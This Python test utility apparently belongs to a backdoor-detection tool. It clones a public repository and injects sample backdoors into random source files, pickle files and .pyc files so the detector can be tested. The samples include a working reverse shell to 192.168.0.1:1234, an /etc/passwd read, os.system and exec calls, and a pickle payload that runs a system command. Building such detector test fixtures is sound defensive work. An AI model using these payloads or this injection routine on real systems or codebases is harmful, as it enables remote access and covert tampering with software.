BackDoorBuster/tests/final_tests_util.py

159 lines
5.0 KiB
Python

from typing import Tuple, List
from git import Repo # type: ignore
import random
from pathlib import Path
import pickle
import os
import py_compile
def clone_repo(repo_url: str, clone_dir: str) -> None:
"""
Clone a Git repository to the specified directory.
Args:
repo_url (str): The URL of the Git repository to clone.
clone_dir (str): The directory where the repository should be cloned.
"""
try:
Repo.clone_from(repo_url, clone_dir, depth=1)
except Exception as e:
print(f"Error cloning repository: {e}")
# a return type of backdoor. Include injected file name and number.
def inject_random_backdoor(
path: str, sample_rate: float = 0.1
) -> Tuple[Tuple[str, int], ...]:
"""
Insert random backdoor into the path.
Args:
path (str): The path to the repository to insert the backdoor into.
pickle (bool): Whether to insert a backdoor into a pickle file.
pyc (bool): Whether to insert a backdoor into a compiled Python file.
"""
project_path = Path(path)
all_python_files = list(project_path.rglob("*.py"))
injected_python_files = []
for python_file in all_python_files:
# sample files to inject backdoor
if random.random() < sample_rate:
injected_python_files.append(python_file)
injectedNum = len(injected_python_files)
results: List[Tuple[str, int]] = []
# inject backdoor
for python_file in injected_python_files:
with open(python_file, "r+", errors="ignore") as f:
lines = f.readlines()
total_lines = len(lines)
inject_line_number = random.randint(0, total_lines)
# choose random backdoor
inject_code = random.choice(backdoors)
lines.insert(inject_line_number, inject_code + "\n")
f.seek(0)
f.writelines(lines)
results.append((str(python_file), inject_line_number))
return tuple(results)
# 示例1: 通过 os.system 执行命令
backdoor1 = """import os
os.system('ls')"""
# 示例2: 通过 subprocess 模块执行命令
backdoor2 = """import subprocess
subprocess.call(['ls', '-l'])"""
# 示例3: 打开一个反向 shell
backdoor3 = """import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])"""
# 示例4: 通过 eval 执行任意代码
backdoor4 = """code = "print('Hello, World!')"
eval(code)"""
# 示例5: 通过 exec 执行任意代码
backdoor5 = """code = '''
import os
os.system('ls')
'''
exec(code)"""
# 示例7: 读取并显示文件内容
backdoor7 = """with open('/etc/passwd', 'r') as file:
data = file.read()
print(data)"""
backdoors = [
backdoor1,
backdoor2,
backdoor3,
backdoor4,
backdoor5,
backdoor7,
]
backdoors_pickle = [
b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.',
b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.',
b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.',
b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ubcnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'
]
def inject_pickle_backdoor(root_path: str) -> None:
"""
Generate a pickle backdoor and insert it into the specified path.
Args:
path (str): The path to the repository to insert the backdoor into.
"""
all_path = [str(p) for p in Path(root_path).glob("*") if p.is_dir()]
paths = random.sample(all_path, random.randrange(1, len(all_path)))
for path in paths:
backdoor_id = random.randrange(0, len(backdoors_pickle))
backdoor = backdoors_pickle[backdoor_id]
filename = os.path.join(path, f"backdoor{backdoor_id}.pickle")
with open(filename, "wb") as f:
pickle.dump(backdoor, f)
def inject_pyc_backdoor(root_path: str) -> None:
"""
Generate a pyc backdoor and insert it into the specified path.
Args:
path (str): The path to the repository to insert the backdoor into.
"""
all_path = [str(p) for p in Path(root_path).glob("*") if p.is_dir()]
paths = random.sample(all_path, random.randrange(1, len(all_path)))
for path in paths:
backdoor_id = random.randrange(0, len(backdoors))
backdoor = backdoors[backdoor_id]
py_filename = os.path.join(path, f"backdoor{backdoor_id}.py")
pyc_filename = os.path.join(path, f"backdoor{backdoor_id}.pyc")
with open(py_filename, "w") as f:
f.write(backdoor)
py_compile.compile(py_filename, cfile=pyc_filename)
os.remove(py_filename)
if __name__ == "__main__":
repo_url = "https://github.com/TheAlgorithms/Python.git"
clone_dir = "/tmp/repo"
clone_repo(repo_url, clone_dir)
inject_random_backdoor(clone_dir)
inject_pickle_backdoor(clone_dir)